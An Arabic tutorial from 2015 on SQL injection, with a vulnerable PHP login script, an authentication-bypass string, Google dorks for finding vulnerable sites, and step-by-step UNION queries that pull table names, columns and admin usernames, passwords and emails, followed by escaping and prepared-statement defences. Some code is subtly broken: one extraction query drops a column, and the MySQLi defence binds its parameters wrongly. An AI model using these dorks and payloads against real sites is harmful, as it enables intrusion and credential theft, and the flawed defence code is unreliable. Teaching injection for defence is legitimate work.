ثغرة حقن قاعدة البيانات : Sql Injection

ثغرة حقن قاعدة البيانات : Sql Injection

بتاريخ: 18-08-2015   

حقنة SQL أو SQL injection : هي طريقة لاستغلال ثغرة محتملة في جميع التطبيقات التي تتعامل مع قاعدة البيانات . من ضمن هذه التطبيقات نجد مواقع الويب . إذ يمكن للمهاجم التعامل مباشرة مع قاعدة البيانات و إجراء استعلامات غير متوقعة من طرف المبرمج ، كالولوج و سرقة البيانات ، و إدخال بيانات جديدة أو تعديل البيانات السابقة أو حذفها .
العثور على هذه الثغرة في تطبيقة ما و استغلالها . أمر لا يحتاج إلا لمعارف متواضعة . كطرق إجراء الإستعلام و التعامل مع قاعدة البيانات .
سبب وجود هذه الثغرة يعود إلى عدم حماية البيانات أثناء التعامل مع القاعدة . إما عن غير قصد ، و غالبا عن الجهل الذي يخيم على "المبرمج" . فلا غرابة أن نجد هذه الثغرة في الكثير و الكثير من المواقع . رغم أنها من أقدم الثغرات ، و طرق حمايتها لا يتطلب جهدا و خاصة أثناء إنجاز المشروع
تعتبر هذه الثغرة الأكثر خطورة حسب ترتيب OWASP، نظرا لتمكن المهاجم من استغلال قاعدة البيانات .
سنتعرف عن طرق إيجاد المواقع المصابة بهذه الثغرة ، و طرق استغلالها و الحماية منها .

هل موقعي مصاب ؟

إذا كنت تستعمل الطرق القديمة للإستعلام باستعمال Mysql أو Mysqli فهناك احتمال بأن يكون موقعك مصاب إن لم تحم جميع استعلاماتك الموجهة لقاعدة البيانات بطريقة صحيحة . أمّا إن كنت تستعمل MySQLi أو PDO مع تهييء الإستعلام ، غالبا موقعك محمي من هذه الثغرة .

معرفة المواقع المصابة

لمعرفة المواقع المصابة ، نستعمل مجرد علامة الإقتباس السحرية ( ' ) لإجراء إحدى الإختبارين :

  • إما إضافة علامة الإقتباس لعناوين الويب على هذا الشكل :
    http://example.kom/article.php?id=25'
  • أو إضافتها لحقل من حقول الإستمارات :

إذا حصلت على خطأ SQL شبيه بهذا ، فالموقع مصاب بالثغرة .
Error SQL !
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ''...

يمكننا إستغلا الثغرة إما عبر الإستمارة أو عنوان الويب . سندرس مثالا لكل حالة .

مثال استغلال ثغرة SQL عبر الإستمارة

لنأخذ على سبيل المثال الشيفرة أسفله ، و التي تضم استمارة الدخول و تقوم أيضا بمعالجتها .
:

<?php 
$db = mysql_connect('localhost', 'root', '');
mysql_select_db("injection");

if(isset($_POST['submit'])) {

  $nom = $_POST['name'];
  $pass = $_POST['pass'];

  $sql = "SELECT name, pass
          FROM   users
          WHERE  name = '$nom'
          AND    pass = '$pass'";
			
  $req = mysql_query($sql) or die('Error SQL !<br>'.$sql.'<br>'.mysql_error()); 

  while($data = mysql_fetch_array($req)) 
  {
     echo 'Hello : name = <b>'.$data['name'].'</b> ; password = <b>'.$data['pass'].'</b><br>'; 
  }      
  mysql_close($db);
}
else
{
?>
<form action="" method="POST">
  <p>Username: <input type="text" name="name" /></p>
  <p>Password: <input type="password" name="pass" /></p>
  <p><input type="submit" name="submit" value="تسجيل الدخول" /></p>
</form>
<?php 
}

هذا السكريبت يتضمن على الثغرة (لتجربة السكريبت ، أنشيء جدولا في القاعدة ثم أضف إليه بعض الإدخالات) ، للتأكد من ذلك ، سنضيف علامة ' في الحقل الأول مثلا ثم نرسل الإستمارة ، سنحصل على الخطأ السابق .
لاستغلال الثغرة ، في مثالنا سنحاول تسجيل دخولنا بدون إسم صحيح أو كلمة مرور :
في الحقل الأول للإستمارة أدخل أي إسم مثلا "admin" . و في حقل كلمة المرور ، أدخل الشيفرة التالية :
' or '1'='1
سنتمكن بكل تأكيد من ربط الإتصال رغم أن بياناتنا ليست صحيحة . رغم أن الإستعلام في السكريبت واضح و منطقي ، فهو يأمر قاعدة البيانات لاختيار البيانات فقط إذا كان الإسم و كلمة المرور التي أرسلها العضو مطابقة تماما للموجودة في القاعدة .
ما الذي حدث بالضبط عندما أضفنا الشيفرة (' or '1'='1) في حقل كلمة المرور ؟
لقد تحايلنا على التعليمة WHERE الموجودة في الإستعلام السابق . بإضافة الشيفرة العجيبة نكون قد قدّمنا إستعلاما كالتالي .

$sql = "SELECT name, pass
        FROM   users
        WHERE  name = 'admin'
        AND    pass = '' 
        OR '1'='1'
      "

علامة الإقتباس الأولى في الشيفرة السابقة ، أتاحت إنهاء عمل التعيمة AND مسفرة عن قيمة فارغة و أتاحت لنا أيضا إضافة استعلام جديد و هو or '1'='1'
بهذا أصبح استعلام طلب الدّخول دائما صحيحا فهو يعني : اختيار البيانات إذا كان الإسم هو admin (و) كلمة المرور فارغة (أو) 1=1
1=1 شرط صحيح للأبد .
هذا المثال البسيط يلخص دور علامة الاقتباس البسيطة في تغيير مجرى الإستعلام كليا ليشكل خطرا جسيما على كل الموقع .
بعد فهم دور علامة الإقتباس السحرية في إتاحة تمديد الإستعلام الأصلي ، نتقل الآن لرؤية حالة متقدمة من الإستغلال عبر عنوان الويب .

إستغلال ثغرة SQL عبر عنوان الويب

أسهل الطرق المستعملة من قبل المهاجم لإيجاد ثغرة حقنة sql في المواقع المصابة ، هي استعمال دوركات google . أعطيكم بعض الأمثلة لهذه الدوركات :
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=

لن أسرد كل هذه الدوركات فهي كثيرة ، للحصول على اللائحة كاملة ، ما عليكم سوى البحث عنها في محرك البحث google بإستعمال كلمات بحث شبيهة بهذه "sql injection dorks" .


تذكير : هذا الدرس تربوي ، يروم لفهم الثغرة جيدا و كيف يمكن للمهاجم استغلالها . و من ثم سرد الطرق الناجعة لحمايتها .
لهذا أنصحكم إذا رغبتم في تجربة الثغرة من الأجدى فعل ذلك على خادومكم المحلي . لأن الناس لا يحبذون أن تعبثوا بمواقعهم . وهناك قوانين صارمة في هذا المجال حسب بلدكم .

يأخذ المهاجم أي واحد من هذه الدوركات و يضعها في محرك البحث google الذي سيعطيه جميع المواقع التي تشبه عنوان الويب الذي يبحث عنه . و هنا نصل إلى أهم نقطة : لمعرفة هل الموقع مصاب أم لا ؟ سيضيف علامة ' في آخر العنوان على الشكل التالي :
http://example.kom/article.php?id=25'
بإضافة علامة ' إذا لم يطرأ أي تغيير على الصفحة المعنية ، هذا يعني أن الموقع ليس مصابا . أما إذا حصل على خطأ SQL شبيه بهذا :
Error SQL !
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near...

يعني أن الموقع مصاب بالثغرة و يمكن للمهاجم استغلالها . ليس بالضرورة أن يحصل على نفس الخطأ أعلى . أيّ خطأ ينجم عن sql ينم عن وجود الثغرة
(في بعض الحالات يطرء تغيير على الصفحة لكن دون عرض أي خطأ و هذا ينجم عن وجود الثغرة لكنها ليست ظاهرة و تسمى في هذه الحالة :
BLIND SQL INJECTION . طرق استغلالها تختلف عن التي سنراها أسفله .)
بعد إيجاد الثغرة ، ننتقل لمعرفة كيفية استغلالها .

لاستغلال الثغرة يتبع المهاجم استراتيجية تضم مجموعة من الخطوات : تبدأ بمعرفة عدد الأعمدة الموجودة في القاعدة ثم الجداول التي تتضمن الثغرة و كذلك معرفة إسم مستخدم القاعدة و رقم الإصدار . بعدها يقوم بعرض أسماء الجداول و محتوياتها . كل هذه العمليات يتم تنفيذها مباشرة في عنوان الويب "URL" للموقع المصاب ، أي أن استغلال قاعدة البيانات و إجراء الإستعلامات تُنفذ مباشرة من شريط عناوين المتصفح .

معرفة عدد أعمدة قاعدة البيانات

لمعرفة عدد أعمدة قاعدة البيانات يستعمل التعليمة "Order By" كالتالي :

http://exampleSite.com/article.php?id=25 order by 1--

يبدء بواحد ، و يقوم في كل مرة برفع هذه القيمة

http://exampleSite.com/article.php?id=25 order by 2--

إذا تم عرض الصفحة بطريقة عادية ، يقوم برفع هذا العدد حتى يحصل على خطأ . لنفترض أنه وصل إلى 8 ثم حصل على خطأ :
http://exampleSite.com/article.php?id=25 order by 8--
إذا حصل على خطأ شبيه بهذا
Database error: Unknown column '8' in 'order clause'
هذا يعني أن العمود رقم 8 غير موجود في القاعدة ، بهذا يكون قد حدد عدد الأعمدة و هو 7 في مثالنا .
ملاحظة : بالنسبة لعلامتي "--" فهي عبارة عن علامتي الملاحظات يمكننا أيضا استبدالهما بعلامتي /* ، فهي تلغي كل ما يأتي بعدها و تعتبره ملاحظات .
بعد معرفة عدد الأعمدة ، ينتقل لمعرفة الأعمدة التي تتضمن الثغرة

معرفة الأعمدة التي تتضمن الثغرة

لمعرفة الأعمدة التي تتضمن الثغرة ، يلجأ للتعليمة "UNNION ALL SELECT"

article.php?id=25 union all select 1,2,3,4,5,6,7--

بعد تنفيذ هذا الإستعلام ، يبحث جيدا في الصفحة عن أي رقم قد يظهر فجأة في مكان ما . يمكن أن يكون رقما واحدا أي أنه وجد عمودا واحدا فقط يتضمن الثغرة ، أو قد يحصل على مجموعة من الأعمدة . لنفترض أن رقمي 4 و 6 ظهرا على الصفحة . يمكنه استغلال أي عمود منهما لإجراء باقي الإستعلامات .
ملاحظة : إذا لم يحصل على أي رقم ، يضيف فقط علامة ناقص "-" بعد علامة تساوي ، و سيتم حل المشكلة :
id=-25 union all select 1,2,3,4,5,6,7--

معرفة إسم المستخدم و رقم إصدار SQL

لمعرفة رقم الإصدار "version" أو إسم مستخدم قاعدة البيانات "user" . يعتمد على إجراء الإستعلام في أحد الأعمدة التي تتضمن الثغرة ، مثلا في العمود رقم 4 في مثالنا أو 6 :
لمعرفة إسم المستخدم يستعمل إما user() أو @@user()
لمعرفة رقم الإصدار يستعمل version() أو @@version()

article.php?id=-25 union all select 1,2,3,version(),5,6,7--

سيحصل مثلا على رقم إصدار شبيه بهذا : 5.5.35
إذا كان رقم الإصدار 4 أو أقل سيحتاج إلى تخمين أسماء الأعمدة و الجداول عبر تقنية "brute force" ، توجد برانم تُستعمل لذلك
أما إذا كان الإصدار 5 أو أكبر (كما هو الحال على أغلب الخوادم حاليا) كما في مثالنا يمكنه متابعة استعمال تقنيات الإختراق الموالية .

عرض جميع أسماء الجداول دفعة واحدة

لعرض جميع أسماء الجداول الموجودة في القاعدة :

article.php?id=-25 union all select 1,2,3,group_concat(table_name),5,6,7 from information_schema.tables where table_schema=database()--

عرض جميع أسماء أعمدة الجداول دفعة واحدة

لمعرفة أسماء جميع أعمدة الجداول في القاعدة :

article.php?id=-25 union all select 1,2,3,group_concat(column_name),5,6,7 from information_schema.columns where table_schema=database()--

عرض أسماء الجداول ، جدولا تلو الآخر

لعرض جدول واحد فقط كل مرة ، يستعمل التعليمة LIMIT ، مثلا لعرض إسم الجدول الأول :

article.php?id=-25 union select 1,2,3,table_name,5,6,7 TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database() LIMIT 0,1--

إستعملت "UNION SELECT" بدل "UNION ALL SELECT" و "table_name" بدل group_concat(table_name) لعرض جدول واحدا فقط . لعرض أكثر من جدول يتم استعمال الطرق الأولى .
لعرض إسم الجدول الثاني ، يقوم بتغيير القيمة الأولى ل LIMIT : LIMIT 1,1-- و هكذا دواليك

عرض أسماء الأعمدة لجدول واحد فقط

لنفترض أنه وجد جدولا إسمه "admin" و أراد عرض جميع الأعمدة التي يحتوي عليها :

id=-25 union all select 1,2,3,group_concat(column_name),5,6,7 FROM information_schema.columns WHERE table_name = admin--

في أغلب الحالات بدل الحصول على أسماء الأعمدة سيحصل على خطأ شبيه بهذا :
Database error: Unknown column 'admin' in 'where clause'
لتفادي هذا الخطأ و عرض أسماء الأعمدة يجب تحويل إسم الجدول إلى صيغة MySql CHAR() . يوجد برنام يقوم بهذا الدور ، و هو عبارة عن إضافة "addon" موزيلا فايرفوكس تجدونها باتباع الرابط التالي : hackbar
بعد تنصيبها سيتطلب منكم إغلاق متصفح mozilla firefox و إعادة فتحه . لاستعمال الإضافة الجديدة :
1 - أنقر على F9
2 - ستحصل على الخدمات التي تقدمها هذه الإضافة ، أنقر على : "SQL"
3 - ثم اختر : "MySQL" ثم MySql CHAR()
4 - ستظهر لديك نافذة جديدة ، أدخل فيها إسم الجدول الذي ترغب تحويله ، في مثالنا إسمه "admin" بعد النقر على الموافقة ستحصل على الإسم الجديد على شكل أرقام كالتالي : CHAR(97, 100, 109, 105, 110) .
هذا الإسم هو الذي سيتم استعماله في الإستعلام لتجاوز مشكلة ترميز قاعدة البيانات :

id=-25 union all select 1,2,3,group_concat(column_name),5,6,7 FROM information_schema.columns WHERE table_name = CHAR(97, 100, 109, 105, 110)--

إستخلاص محتوى الأعمدة

لنفترض أنه وجد هذه الأعمدة في جدول "admin" :
id, username, password, email
لقد وصل إلى أهم مرحلة و هي استخلاص جميع بيانات الجدول ، للحصول على محتوى الأعمدة سيقوم بعرضها على المتصفح باستعمال الإستعلام التالي :

id=-25 union all select 1,2,3,group_concat(username,0x3a,password,0x3a,email),6,7 from admin--

سنكتفي بهذا القدر . إعلموا أنه يمكن أيضا (في بعض الحالات) إستعمال التعليمات DELETE و UPDATE و DROP لحذف أو تعديل البيانات أو إفراغ جدول ما .
ننتقل لجوهر هذا الموضوع و معرفة كيفية حماية الموقع من ثغرة حقنة SQL .

حماية ثغرة SQL Injection

لمستخدمي mysql

لمستخدمي SQL بالطريقة القديمة كما رأينا في هذا الدّرس . يجب إضافة الدالة mysql_real_escape_string() لجميع البيانات أثناء التعامل مع القاعدة ، مثال :

$nom = mysql_real_escape_string($_POST['name']);
$pass = mysql_real_escape_string($_POST['pass']);

ملحوظة !!! منذ إصدار PHP 5.5.0 لم يعد مُحبّذا استعمال mysql_real_escape_string و mysql .
لهذا يجب التفكير جدّيا للإنتقال إلى استعمال MySQLi أو PDO .

لمستخدمي PDO

لمستخدمي PDO أنتم محميون من هذه الثغرة ، إذا كنتم تهيئون الإستعلام أثناء التعامل مع قاعدة البيانات .

<?php 
try 
{
  $db = new PDO('mysql:host=localhost;dbname=test;charset=utf8', 'root', '');
} 
catch(PDOException $e)
{
    die('خطأ : '. $e->getMessage());
}

 $nom= $_POST['name'];
 $pass = $_POST['pass'];

 $response= $db->prepare('SELECT * FROM users
                   WHERE name = :pseudo AND pass = :pa
                  ');
    $response->bindValue(':pseudo',$nom,PDO::PARAM_STR);
    $response->bindValue(':pa',$pass,PDO::PARAM_STR);
    $response->execute();
    $member = $response->Fetch();
    $response->CloseCursor();
//...

لمستخدمي mysqli بدون تهيئ الإستعلام

إستعمل التعليمة mysqli::escape_string

<?php
//...

$nom= mysqli->real_escape_string($_POST['name']);
$pass= mysqli->real_escape_string($_POST['pass']);

لمستخدمي MysQli مع تهييء الإستعلام

أنتم محميون من الثغرة

<?php 
$db= new mysqli($localhost, $user, $password, $db_name);

if (mysqli_connect_errno()) {
    printf("خطأ : %s\n", mysqli_connect_error());
    exit();
}

 $nom= $_POST['name'];
 $pass = $_POST['pass'];

$stmt = $db->prepare('SELECT * FROM users WHERE name = ? AND pass = ?');
$stmt->bind_param('s', $nom);
$stmt->bind_param('s', $pass);

$stmt->execute();

$result = $stmt->get_result();
while($row = $result->fetch_assoc()) {
    // ...
}

هنا ينتهي هذا الدرس ، إلى فرصة قادمة لمعالجة ثغرة أخرى بحول الله .


مواضيع ذات صلة